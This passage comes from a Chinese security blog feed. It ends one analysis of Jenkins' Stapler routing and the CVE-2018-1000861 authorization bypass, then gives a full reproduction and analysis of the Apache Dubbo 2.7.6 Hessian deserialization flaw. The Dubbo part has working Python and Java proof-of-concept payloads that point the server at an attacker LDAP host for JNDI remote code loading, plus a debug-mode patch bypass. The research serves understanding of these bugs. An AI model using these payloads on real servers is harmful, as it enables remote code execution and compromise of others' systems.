&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568188747361.png&#34; alt=&#34;1568188747361&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而此时的kclass为一开始传入的&lt;code&gt;hudson.model.Hudson&lt;/code&gt;，Hudson继承关系如下图&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568193610000.png&#34; alt=&#34;1568193610000&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此getMetaClass一直调用到class java.lang.Object，然后进行&lt;code&gt;buildDispatchers()&lt;/code&gt;方法并层层返回，因此整个初始化metaClass的过程是一个不断寻找继承树并递归调用buildDispatchers的过程，而buildDispatchers的功能就是提取该类中的所有函数信息存储在&lt;code&gt;MetaClass.dispatchers&lt;/code&gt;中，作为后续与url的映射关系&lt;/p&gt;

&lt;p&gt;buildDispatchers()方法按顺序调用如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;this.registerDoToken(node)

&lt;ul&gt;
&lt;li&gt;do&lt;token&gt;(…)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;node.methods.prefix(&amp;ldquo;js&amp;rdquo;).iterator()

&lt;ul&gt;
&lt;li&gt;js&lt;token&gt;(…)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;node.methods.annotated(JavaScriptMethod.class).iterator()

&lt;ul&gt;
&lt;li&gt;@JavaScriptMethod annotation&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;node.methods.prefix(&amp;ldquo;get&amp;rdquo;)

&lt;ul&gt;
&lt;li&gt;get&lt;token&gt;()&lt;/li&gt;
&lt;li&gt;get&lt;token&gt;(String)&lt;/li&gt;
&lt;li&gt;get&lt;token&gt;(Int)&lt;/li&gt;
&lt;li&gt;get&lt;token&gt;(Long)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;getMethods.signature(new Class[]{StaplerRequest.class}).iterator()

&lt;ul&gt;
&lt;li&gt;get&lt;token&gt;(StaplerRequest)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;getMethods.signatureStartsWith(new Class[]{String.class}).name(&amp;ldquo;getDynamic&amp;rdquo;).iterator()

&lt;ul&gt;
&lt;li&gt;getDynamic(&amp;hellip;)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;node.methods.name(&amp;ldquo;doDynamic&amp;rdquo;).iterator()

&lt;ul&gt;
&lt;li&gt;doDynamic(…)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这相当于规定了一个函数命名规则，只要符合这个规则的方法都能被访问到。&lt;/p&gt;

&lt;p&gt;注意此过程中，大部分dispatchers添加的都是&lt;code&gt;NameBasedDispatcher&lt;/code&gt;对象，除了如下几类：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DirectoryishDispatcher (url路径相关，如&lt;code&gt;/&lt;/code&gt;、&lt;code&gt;?&lt;/code&gt;、&lt;code&gt;../&lt;/code&gt;等)&lt;/li&gt;
&lt;li&gt;HttpDeletableDispatcher (&lt;code&gt;DELETE&lt;/code&gt;方法)&lt;/li&gt;
&lt;li&gt;IndexDispatcher (&lt;code&gt;doIndex(...)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Dispatcher (&lt;code&gt;getDynamic(…)&lt;/code&gt; &lt;code&gt;doDynamic(…)&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其中&lt;code&gt;js&amp;lt;token&amp;gt;(…)&lt;/code&gt;对应的&lt;code&gt;JavaScriptProxyMethodDispatcher&lt;/code&gt;继承自&lt;code&gt;NameBasedDispatcher&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568196821681.png&#34; alt=&#34;1568196821681&#34; /&gt;&lt;/p&gt;

&lt;p&gt;hudson.model.Hudson经过递归buildDispatchers，缓存下的dispatchers有220个，根据上面的注意点，其中大部分方法会调用到&lt;code&gt;NameBasedDispatcher#dispatch()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568196931745.png&#34; alt=&#34;1568196931745&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568195521387.png&#34; alt=&#34;1568195521387&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;递归解析路由&#34;&gt;递归解析路由&lt;/h3&gt;

&lt;p&gt;回到org.kohsuke.stapler.Stapler#tryInvoke()，路径&lt;code&gt;/securityRealm/&lt;/code&gt;对应的是&lt;code&gt;hudson.security.SecurityRealm jenkins.model.Jenkins.getSecurityRealm()&lt;/code&gt;，同样也会调用到&lt;code&gt;NameBasedDispatcher#dispatch()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568197833515.png&#34; alt=&#34;1568197833515&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来可以看到&lt;code&gt;ff.invoke()&lt;/code&gt;返回一个&lt;code&gt;hudson.security.HudsonPrivateSecurityRealm&lt;/code&gt;对象，然后重新调用&lt;code&gt;org.kohsuke.stapler.Stapler#invoke()&lt;/code&gt;，这也是一个递归的过程。此时HudsonPrivateSecurityRealm返回的dispatchers有30个，在&lt;code&gt;Stapler#tryInvoke()&lt;/code&gt;中进行循环调用，在每个dispatchers动态生成的dispatch方法中，会根据解析到的url路径与当前的dispatchers进行对比，不一致直接返回false，同时还会判断是否存在下一层路由，如果存在则进入doDispatch&lt;/p&gt;

&lt;p&gt;比如此时解析到的url为/user/，则只有&lt;code&gt;hudson.security.HudsonPrivateSecurityRealm.getUser(String)&lt;/code&gt;方法进入下一步doDispatch&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568254883924.png&#34; alt=&#34;1568254883924&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当传入一个不存在的url，tryInvoke会返回false，抛出404，也就不继续往下解析了&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568255416381.png&#34; alt=&#34;1568255416381&#34; /&gt;&lt;/p&gt;

&lt;p&gt;经过上面递归的tryInvoke过程，Jenkins才完成路由解析，调用过程的流程图如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568256409501.png&#34; alt=&#34;1568256409501&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;动态路由绕过&#34;&gt;动态路由绕过&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595&#34;&gt;https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE：CVE-2018-1000861&lt;/li&gt;
&lt;li&gt;影响版本：Jenkins&amp;lt;=2.153 / Jenkins LTS&amp;lt;=2.138.3&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这是一个动态路由绕过导致未授权访问的问题，由Orange提交：）参考 &lt;a href=&#34;https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/&#34;&gt;Hacking Jenkins Part 1 - Play with Dynamic Routing&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;白名单机制&#34;&gt;白名单机制&lt;/h3&gt;

&lt;p&gt;上面分析了Jenkins构建动态路由的过程，主要调用的是&lt;code&gt;org.kohsuke.stapler.Stapler#tryInvoke()&lt;/code&gt;方法，该方法对所属于&lt;code&gt;StaplerProxy&lt;/code&gt;的类会有一次权限检查，而一开始我们知道除了&lt;code&gt;boundObjectTable&lt;/code&gt;其他的node都被设置为&lt;code&gt;hudson.model.Hudson&lt;/code&gt;，上面也讲到Hudson类继承自Jenkins，而Jenkins的父类&lt;code&gt;AbstractCIBase&lt;/code&gt;是&lt;code&gt;StaplerProxy&lt;/code&gt;的一个接口实现，所以除了&lt;code&gt;boundObjectTable&lt;/code&gt;外所有node都会进行这个权限检查，具体实现在&lt;code&gt;jenkins.model.Jenkins#getTarget()&lt;/code&gt;中&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568259600209.png&#34; alt=&#34;1568259600209&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个方法会先进行一次checkPermission，如果没有权限则会抛出异常还会再进行一次&lt;code&gt;isSubjectToMandatoryReadPermissionCheck&lt;/code&gt;检查，如果这个检查通过同样会正常返回&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568259863106.png&#34; alt=&#34;1568259863106&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个检查中有一个白名单，如果存在于这个白名单中的url路由同样可以直接访问&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568273111696.png&#34; alt=&#34;1568273111696&#34; /&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;ALWAYS_READABLE_PATHS = ImmutableSet.of(&amp;quot;/login&amp;quot;, &amp;quot;/logout&amp;quot;, &amp;quot;/accessDenied&amp;quot;, &amp;quot;/adjuncts/&amp;quot;, &amp;quot;/error&amp;quot;, &amp;quot;/oops&amp;quot;, new String[] {
    &amp;quot;/signup&amp;quot;,
    &amp;quot;/tcpSlaveAgentListener&amp;quot;,
    &amp;quot;/federatedLoginService/&amp;quot;,
    &amp;quot;/securityRealm&amp;quot;,
    &amp;quot;/instance-identity&amp;quot;
});
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;还是以&lt;code&gt;/securityRealm/user/admin/&lt;/code&gt;为例，在解析至&lt;code&gt;securityRealm&lt;/code&gt;的时候命中白名单，正常返回，而解析至&lt;code&gt;admin&lt;/code&gt;的时候因为&lt;code&gt;User&lt;/code&gt;类并非&lt;code&gt;StaplerProxy&lt;/code&gt;子类，所以会跳过getTarget()检查，成功绕过&lt;/p&gt;

&lt;h3 id=&#34;跨物件操作&#34;&gt;跨物件操作&lt;/h3&gt;

&lt;p&gt;接下来关注DescriptorByName&lt;/p&gt;

&lt;p&gt;从继承关系图可以看到User也是&lt;code&gt;DescriptorByNameOwner&lt;/code&gt;接口的实现&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571821898844.png&#34; alt=&#34;1571821898844&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而&lt;code&gt;DescriptorByNameOwner&lt;/code&gt;接口调用的是 &lt;code&gt;jenkins.model.Jenkins#getDescriptor&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public interface DescriptorByNameOwner extends ModelObject {
    default Descriptor getDescriptorByName(String id) {
        return Jenkins.getInstance().getDescriptorByName(id);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571822175710.png&#34; alt=&#34;1571822175710&#34; /&gt;&lt;/p&gt;

&lt;p&gt;该方法首先获取了所有的descriptors，如果传入的id匹配到了相应的descriptor就能去调用指定的方法，例如&lt;code&gt;org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl&lt;/code&gt;，&lt;code&gt;getDisplayName()&lt;/code&gt;和&lt;code&gt;doCheckScript()&lt;/code&gt;都是能被调用到的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571823142780.png&#34; alt=&#34;1571823142780&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此，通过构造&lt;code&gt;/securityRealm/user/DescriptorByName/xxx&lt;/code&gt;的方式就可以调用到任意类的任意方法，只要满足下面两个条件：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;符合上文整理的命名规则；&lt;/li&gt;
&lt;li&gt;目标类继承了&lt;code&gt;Descriptor&lt;/code&gt;；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;利用链：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Jenkins-&amp;gt;HudsonPrivateSecurityRealm-&amp;gt;User-&amp;gt;DescriptorByNameOwner-&amp;gt;Jenkins-&amp;gt;Descriptor&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;在这个漏洞修复后还想再利用则必须开启&lt;code&gt;Allow anonymous read access&lt;/code&gt;匿名用户访问权限，否则会抛出404&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;本报告上篇讨论了Jenkins动态路由机制和路由绕过的问题，通过这个脆弱点可以绕过用户权限检查从而访问到特定的物件，为下一步进行远程代码执行漏洞攻击降低了攻击门槛，是一个非常巧妙的入口。下篇将分析Jenkins主流插件Script Security中针对Groovy沙箱的绕过方法，欢迎关注。&lt;/p&gt;

&lt;p&gt;参考&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://jenkins.io/security/advisories/&#34;&gt;https://jenkins.io/security/advisories/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/&#34;&gt;https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>Apache Dubbo 2.7.6 反序列化漏洞复现及分析</title>
      <link>https://kylingit.com/blog/apache-dubbo-2.7.6-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 01 Jul 2020 19:59:26 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/apache-dubbo-2.7.6-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Dubbo 从大的层面上讲是RPC框架，负责封装RPC调用，支持很多RPC协议&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;RPC协议包括了dubbo、rmi、hessian、webservice、http、redis、rest、thrift、memcached、jsonrpc等&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/t01dd60f99ea19aec96.jpg&#34; alt=&#34;img&#34; /&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;图片来源：&lt;a href=&#34;https://www.anquanke.com/post/id/209251&#34;&gt;https://www.anquanke.com/post/id/209251&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;环境搭建&#34;&gt;环境搭建&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;克隆项目&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;git clone &lt;a href=&#34;https://github.com/apache/dubbo-spring-boot-project.git&#34;&gt;https://github.com/apache/dubbo-spring-boot-project.git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;git checkout 2.7.6&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;添加rome依赖&lt;/p&gt;

&lt;p&gt;dubbo-spring-boot-samples 文件夹，在provider-sample文件夹下的 pom 里添加&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;com.rometools&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;rome&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;1.7.0&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;启动服务端&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;org.apache.dubbo.spring.boot.demo.provider.bootstrap.DubboAutoConfigurationProviderBootstrap
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;复现&#34;&gt;复现&lt;/h2&gt;

&lt;h3 id=&#34;python版本&#34;&gt;python版本&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;# -*- coding: utf-8 -*-
# Ruilin
# pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 
client = DubboClient(&#39;192.168.2.1&#39;, 12345)
 
JdbcRowSetImpl=new_object(
    &#39;com.sun.rowset.JdbcRowSetImpl&#39;,
    dataSource=&amp;quot;ldap://192.168.2.2:1389/nnyvbt&amp;quot;,
    strMatchColumns=[&amp;quot;foo&amp;quot;]
    )
JdbcRowSetImplClass=new_object(
    &#39;java.lang.Class&#39;,
    name=&amp;quot;com.sun.rowset.JdbcRowSetImpl&amp;quot;,
    )
toStringBean=new_object(
    &#39;com.rometools.rome.feed.impl.ToStringBean&#39;,
    beanClass=JdbcRowSetImplClass,
    obj=JdbcRowSetImpl
    )
 
resp = client.send_request_and_return_response(
    service_name=&#39;any_name&#39;,
    method_name=&#39;any_method&#39;,
    args=[toStringBean])
    
print(resp)
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;java版本&#34;&gt;java版本&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;DemoService&lt;/code&gt;增加接口方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;String rceTest(Object o);
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;DefaultDemoService&lt;/code&gt;实现接口方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@Override
public String rceTest(Object o) {
    return &amp;quot;pwned&amp;quot;;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;DubboAutoConfigurationConsumerBootstrap&lt;/code&gt;客户端增加调用&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public ApplicationRunner runner() throws Exception {
    Object o = getPayload();
    return args -&amp;gt; logger.info(demoService.rceTest(o));
}
    
private static Object getPayload() throws Exception {
    String jndiUrl = &amp;quot;ldap://192.168.3.104:1389/sg56vh&amp;quot;;
    
    ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
    EqualsBean root = new EqualsBean(ToStringBean.class, bean);
    
    return JDKUtil.makeMap(root, root);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;运行provider服务者，再运行consumer消费者，触发漏洞&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;流量&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200629170736311.png&#34; alt=&#34;image-20200629170736311&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;0xdabb&lt;/code&gt;开头的为dubbo流量，提出后可以直接用socket发送触发漏洞&lt;/p&gt;

&lt;h2 id=&#34;分析&#34;&gt;分析&lt;/h2&gt;

&lt;h3 id=&#34;python版本触发点&#34;&gt;python版本触发点&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument()
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()
java.lang.StringBuilder.append()
java.lang.String.valueOf()
org.apache.dubbo.rpc.RpcInvocation.toString()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;python版本poc成功触发的关键点在于，通过构造一个不存在的&lt;code&gt;service_name&lt;/code&gt;使得服务端获取不到期望的DubboExporter进而抛出异常，而在输出异常信息的时候进行了字符串拼接进而调用了隐含的toString方法，所以能够通过构造的恶意对象的toString方法触发漏洞&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200630134254690.png&#34; alt=&#34;image-20200630134254690&#34; /&gt;&lt;/p&gt;

&lt;p&gt;那么关键点就在异常处理部分了，也正是rui0提出的“后反序列化漏洞”的利用场景，重点来看一下&lt;/p&gt;

&lt;p&gt;&lt;code&gt;org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;//dubbo 2.7.3
if (exporter == null) {
    throw new RemotiyicngException(channel, &amp;quot;Not found exported service: &amp;quot; + serviceKey + &amp;quot; in &amp;quot; + this.exporterMap.keySet() + &amp;quot;, may be version or group mismatch , channel: consumer: &amp;quot; + channel.getRemoteAddress() + &amp;quot; --&amp;gt; provider: &amp;quot; + channel.getLocalAddress() + &amp;quot;, message:&amp;quot; + inv);
} else {
    return exporter.getInvoker();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;dubbo 2.7.3版本中，抛出异常部分直接拼接了inv，此时inv为&lt;code&gt;DecodeableRpcInvocation&lt;/code&gt;对象，并且&lt;code&gt;arguments&lt;/code&gt;值为我们设置的&lt;code&gt;ToStringBean&lt;/code&gt;对象，在对其直接进行字符串拼接时会触发String.append-&amp;gt;String.valueOf-&amp;gt;obj.toString()，进而将&lt;code&gt;ToStringBean&lt;/code&gt;进行tostring触发漏洞&lt;/p&gt;

&lt;p&gt;而在2.7.5之后的版本中，throw RemotiyicngException部分变成了&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;//dubbo 2.7.5
if (exporter == null) {
    throw new RemotingException(channel, &amp;quot;Not found exported service: &amp;quot; + serviceKey + &amp;quot; in &amp;quot; + this.exporterMap.keySet() + &amp;quot;, may be version or group mismatch , channel: consumer: &amp;quot; + channel.getRemoteAddress() + &amp;quot; --&amp;gt; provider: &amp;quot; + channel.getLocalAddress() + &amp;quot;, message:&amp;quot; + this.getInvocationWithoutData(inv));
} else {
    return exporter.getInvoker();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意到对inv经过了&lt;code&gt;getInvocationWithoutData&lt;/code&gt;处理，这个处理是这样的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;//org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol
private Invocation getInvocationWithoutData(Invocation invocation) {
    if (this.logger.isDebugEnabled()) {
        return invocation;
    } else if (invocation instanceof RpcInvocation) {
        RpcInvocation rpcInvocation = (RpcInvocation)invocation;
        rpcInvocation.setArguments((Object[])null);
        return rpcInvocation;
    } else {
        return invocation;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到将invocation中的&lt;code&gt;arguments&lt;/code&gt;值处理成了空，经过这个处理之后后续的toString利用链就无法继续下去，起到了第一层防御效果，因此通过设置&lt;code&gt;arguments&lt;/code&gt;为恶意对象的方法就无法在2.7.5版本以上触发。&lt;/p&gt;

&lt;p&gt;相关commit可以在&lt;a href=&#34;https://github.com/apache/dubbo/commit/5618b12340b9c3ecf90c7e01c274a4f094cc146c#diff-37a8a427d2ec646f392ebd9225019346&#34;&gt;这里&lt;/a&gt;看到&lt;/p&gt;

&lt;h3 id=&#34;java版本触发点&#34;&gt;Java版本触发点&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;org.apache.dubbo.remoting.transport.DecodeHandler.decode()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput.readObject()
com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject()
com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap()
com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap()
java.util.HashMap.put()-&amp;gt;hash()-&amp;gt;hashCode()
com.rometools.rome.feed.impl.EqualsBean.beanHashCode()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面讨论一下java版本poc为什么在解决了异常处理的toString后还是能触发漏洞？&lt;/p&gt;

&lt;p&gt;除了上面的commit修复了异常处理中的toString外，官方还提交了一个&lt;a href=&#34;https://github.com/apache/dubbo/commit/04fc3ce4cc87b9bd09546c12df3f8762b9525da9#diff-97efdee63a15983753ec52d8cd03b6a7&#34;&gt;PR&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200701113514058.png&#34; alt=&#34;image-20200701113514058&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()&lt;/code&gt;中增加了&lt;code&gt;RpcUtils.isGenericCall&lt;/code&gt;和&lt;code&gt;RpcUtils.isEcho&lt;/code&gt;的判断，在没有补丁之前，pts还能通过反射从desc中获取到，而打了补丁后，如果方法名不是&lt;code&gt;$invoke&lt;/code&gt;或&lt;code&gt;$invokeAsync&lt;/code&gt;或&lt;code&gt;$echo&lt;/code&gt;则直接抛出Service not found，因此当用python版本poc发送不存在的service_name或method_name时，便通不过判断，也就无法利用。&lt;/p&gt;

&lt;p&gt;上述判断条件是当传入的参数类别从对应的方法中获取不到的时候进行的，那么如果我们传入正确的方法名和参数类型，该条件就不成立，也就不会进入&lt;code&gt;RpcUtils.isGenericCall&lt;/code&gt;和&lt;code&gt;RpcUtils.isEcho&lt;/code&gt;，从而绕过了对调用的方法名的判断&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200701112440804.png&#34; alt=&#34;image-20200701112440804&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此我们重新实现一下客户端代码，调用正确的服务名和方法名，并传入构造的map对象，便能再次触发漏洞。&lt;/p&gt;

&lt;p&gt;触发条件：必须知道服务端的完整service name和方法名，同时该方法需要能接收map或object对象，客户端才能通过正确的服务名和方法名去调用，否则是无法触发的。&lt;/p&gt;

&lt;h3 id=&#34;2-7-7绕过&#34;&gt;2.7.7绕过&lt;/h3&gt;

&lt;p&gt;上面分析了CVE-2020-1948，看似补丁修复了漏洞，但之后又有讨论说在2.7.7上又存在绕过，下面也来分析一下&lt;/p&gt;

&lt;p&gt;还是看&lt;code&gt;getInvocationWithoutData&lt;/code&gt;方法，注意到在设置&lt;code&gt;arguments&lt;/code&gt;为空之前有这么两行代码&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;if (this.logger.isDebugEnabled()) {
    return invocation;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这就是说如果provider是以debug模式启动的，那么会直接返回&lt;code&gt;invocation&lt;/code&gt;对象。。。&lt;/p&gt;

&lt;p&gt;配置一下服务端启动的日志级别，然后修改python版本poc的&lt;code&gt;method_name&lt;/code&gt;为&lt;code&gt;$invoke&lt;/code&gt;，成功绕过2.7.7补丁（还需要注意服务名是否匹配和服务版本号的问题）&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;configuration scan=&amp;quot;true&amp;quot;&amp;gt;
    &amp;lt;logger name=&amp;quot;com.alibaba.dubbo&amp;quot; level=&amp;quot;DEBUG&amp;quot;/&amp;gt;
&amp;lt;/configuration&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200701191029066.png&#34; alt=&#34;image-20200701191029066&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;小结&#34;&gt;小结&lt;/h3&gt;

